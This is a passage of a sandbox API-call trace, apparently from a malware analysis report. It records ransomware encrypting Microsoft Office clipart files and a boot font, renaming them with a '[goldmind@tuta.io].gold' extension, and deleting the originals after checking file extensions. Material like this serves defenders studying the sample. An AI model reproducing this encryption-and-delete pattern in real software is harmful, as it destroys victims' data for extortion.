lpOverlapped=0x0) returned 1 [0056.979] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xc190, lpOverlapped=0x0) returned 1 [0056.980] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.980] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.980] SetEndOfFile (hFile=0x18c) returned 1 [0056.980] CloseHandle (hObject=0x18c) returned 1 [0056.980] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.980] SetEndOfFile (hFile=0x168) returned 1 [0056.981] CloseHandle (hObject=0x168) returned 1 [0056.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0056.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.981] lstrlenW (lpString=".doc") returned 4 [0056.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.981] lstrlenW (lpString=".docx") returned 5 [0056.981] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0056.981] lstrlenW (lpString=".pdf") returned 4 [0056.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString=".xls") returned 4 [0056.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.982] lstrlenW (lpString=".xlsx") returned 5 [0056.982] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0056.982] lstrlenW (lpString=".ppt") returned 4 [0056.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString=".zip") returned 4 [0056.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.982] lstrlenW (lpString=".rar") returned 4 [0056.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString=".bz2") returned 4 [0056.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString=".7z") returned 3 [0056.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString=".dbf") returned 4 [0056.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString=".1cd") returned 4 [0056.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString=".jpg") returned 4 [0056.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString=".doc") returned 4 [0056.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString=".docx") returned 5 [0056.982] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0056.982] lstrlenW (lpString=".pdf") returned 4 [0056.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString=".xls") returned 4 [0056.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.982] lstrlenW (lpString=".xlsx") returned 5 [0056.982] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0056.982] lstrlenW (lpString=".ppt") returned 4 [0056.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString=".zip") returned 4 [0056.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.982] lstrlenW (lpString=".rar") returned 4 [0056.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString=".bz2") returned 4 [0056.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString=".7z") returned 3 [0056.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString=".dbf") returned 4 [0056.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString=".1cd") returned 4 [0056.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0056.982] lstrlenW (lpString=".jpg") returned 4 [0056.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.983] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.983] lstrlenW (lpString="CUP.WMF") returned 7 [0056.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.983] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2966) returned 1 [0056.983] CloseHandle (hObject=0x168) returned 1 [0056.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0056.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.984] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.984] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0056.984] GetLastError () returned 0x0 [0056.984] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xb96, lpOverlapped=0x0) returned 1 [0056.985] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0056.986] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.986] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0056.986] SetEndOfFile (hFile=0x18c) returned 1 [0056.986] CloseHandle (hObject=0x18c) returned 1 [0056.986] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.986] SetEndOfFile (hFile=0x168) returned 1 [0056.987] CloseHandle (hObject=0x168) returned 1 [0056.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.987] lstrlenW (lpString=".doc") returned 4 [0056.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString=".docx") returned 5 [0056.987] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0056.987] lstrlenW (lpString=".pdf") returned 4 [0056.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString=".xls") returned 4 [0056.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.987] lstrlenW (lpString=".xlsx") returned 5 [0056.987] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0056.987] lstrlenW (lpString=".ppt") returned 4 [0056.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.987] lstrlenW (lpString=".zip") returned 4 [0056.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.987] lstrlenW (lpString=".rar") returned 4 [0056.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString=".bz2") returned 4 [0056.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString=".7z") returned 3 [0056.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.987] lstrlenW (lpString=".dbf") returned 4 [0056.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.987] lstrlenW (lpString=".1cd") returned 4 [0056.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.987] lstrlenW (lpString=".jpg") returned 4 [0056.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.988] lstrlenW (lpString=".doc") returned 4 [0056.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString=".docx") returned 5 [0056.988] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0056.988] lstrlenW (lpString=".pdf") returned 4 [0056.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString=".xls") returned 4 [0056.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.988] lstrlenW (lpString=".xlsx") returned 5 [0056.988] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0056.988] lstrlenW (lpString=".ppt") returned 4 [0056.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.988] lstrlenW (lpString=".zip") returned 4 [0056.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.988] lstrlenW (lpString=".rar") returned 4 [0056.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString=".bz2") returned 4 [0056.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString=".7z") returned 3 [0056.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.988] lstrlenW (lpString=".dbf") returned 4 [0056.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.988] lstrlenW (lpString=".1cd") returned 4 [0056.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0056.988] lstrlenW (lpString=".jpg") returned 4 [0056.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.988] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.988] lstrlenW (lpString="CUPINST.WMF") returned 11 [0056.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.989] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=10326) returned 1 [0056.989] CloseHandle (hObject=0x168) returned 1 [0056.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0056.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.989] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.989] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0056.990] GetLastError () returned 0x0 [0056.990] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x2856, lpOverlapped=0x0) returned 1 [0056.991] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x2860, lpOverlapped=0x0) returned 1 [0056.992] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.992] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.992] SetEndOfFile (hFile=0x18c) returned 1 [0056.992] CloseHandle (hObject=0x18c) returned 1 [0056.992] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.992] SetEndOfFile (hFile=0x168) returned 1 [0056.992] CloseHandle (hObject=0x168) returned 1 [0056.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0056.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0056.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0056.993] lstrlenW (lpString=".doc") returned 4 [0056.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.993] lstrlenW (lpString=".docx") returned 5 [0056.993] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0056.993] lstrlenW (lpString=".pdf") returned 4 [0056.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.993] lstrlenW (lpString=".xls") returned 4 [0056.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.993] lstrlenW (lpString=".xlsx") returned 5 [0056.993] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0056.993] lstrlenW (lpString=".ppt") returned 4 Thread: id = 13 os_tid = 0x44c [0033.894] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x960940 [0033.894] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3860048 [0033.894] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0368 [0033.894] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8d30a8 [0033.894] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0380 [0033.895] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3960020 [0033.895] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0398 [0033.895] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0398, Size=0x20) returned 0x8ff938 [0033.895] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0398 [0033.895] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0398, Size=0x20) returned 0x8ff910 [0033.895] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.895] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.895] Wow64DisableWow64FsRedirection (in: OldValue=0x2daff58 | out: OldValue=0x2daff58*=0x0) returned 1 [0033.895] lstrlenW (lpString="kernel32.dll") returned 12 [0033.895] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff938 | out: hHeap=0x880000) returned 1 [0033.895] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.895] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff910 | out: hHeap=0x880000) returned 1 [0033.895] Sleep (dwMilliseconds=0x64) [0034.548] lstrcmpiW (lpString1=".ttf", lpString2=".gold") returned 1 [0034.548] lstrlenW (lpString="kor_boot.ttf") returned 12 [0034.548] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.002] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2371360) returned 1 [0035.002] CloseHandle (hObject=0x1a0) returned 1 [0035.002] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0035.003] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.003] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0035.003] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.003] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.003] lstrlenW (lpString=".doc") returned 4 [0035.003] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0035.003] lstrlenW (lpString=".docx") returned 5 [0035.003] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0035.003] lstrlenW (lpString=".pdf") returned 4 [0035.003] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0035.003] lstrlenW (lpString=".xls") returned 4 [0035.003] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0035.003] lstrlenW (lpString=".xlsx") returned 5 [0035.003] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0035.003] lstrlenW (lpString=".ppt") returned 4 [0035.003] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0035.003] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.003] lstrlenW (lpString=".zip") returned 4 [0035.003] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0035.003] lstrlenW (lpString=".rar") returned 4 [0035.003] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0035.003] lstrlenW (lpString=".bz2") returned 4 [0035.003] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0035.003] lstrlenW (lpString=".7z") returned 3 [0035.003] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0035.003] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.003] lstrlenW (lpString=".dbf") returned 4 [0035.003] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0035.003] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.004] lstrlenW (lpString=".1cd") returned 4 [0035.004] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0035.004] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.004] lstrlenW (lpString=".jpg") returned 4 [0035.004] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0035.009] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.009] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.009] lstrlenW (lpString=".doc") returned 4 [0035.009] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0035.009] lstrlenW (lpString=".docx") returned 5 [0035.009] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0035.009] lstrlenW (lpString=".pdf") returned 4 [0035.009] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0035.009] lstrlenW (lpString=".xls") returned 4 [0035.009] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0035.009] lstrlenW (lpString=".xlsx") returned 5 [0035.009] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0035.009] lstrlenW (lpString=".ppt") returned 4 [0035.009] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0035.009] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.009] lstrlenW (lpString=".zip") returned 4 [0035.009] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0035.009] lstrlenW (lpString=".rar") returned 4 [0035.009] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0035.009] lstrlenW (lpString=".bz2") returned 4 [0035.009] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0035.009] lstrlenW (lpString=".7z") returned 3 [0035.013] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0035.013] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.013] lstrlenW (lpString=".dbf") returned 4 [0035.013] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0035.013] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.013] lstrlenW (lpString=".1cd") returned 4 [0035.013] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0035.013] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0035.013] lstrlenW (lpString=".jpg") returned 4 [0035.013] lstrcmpiW 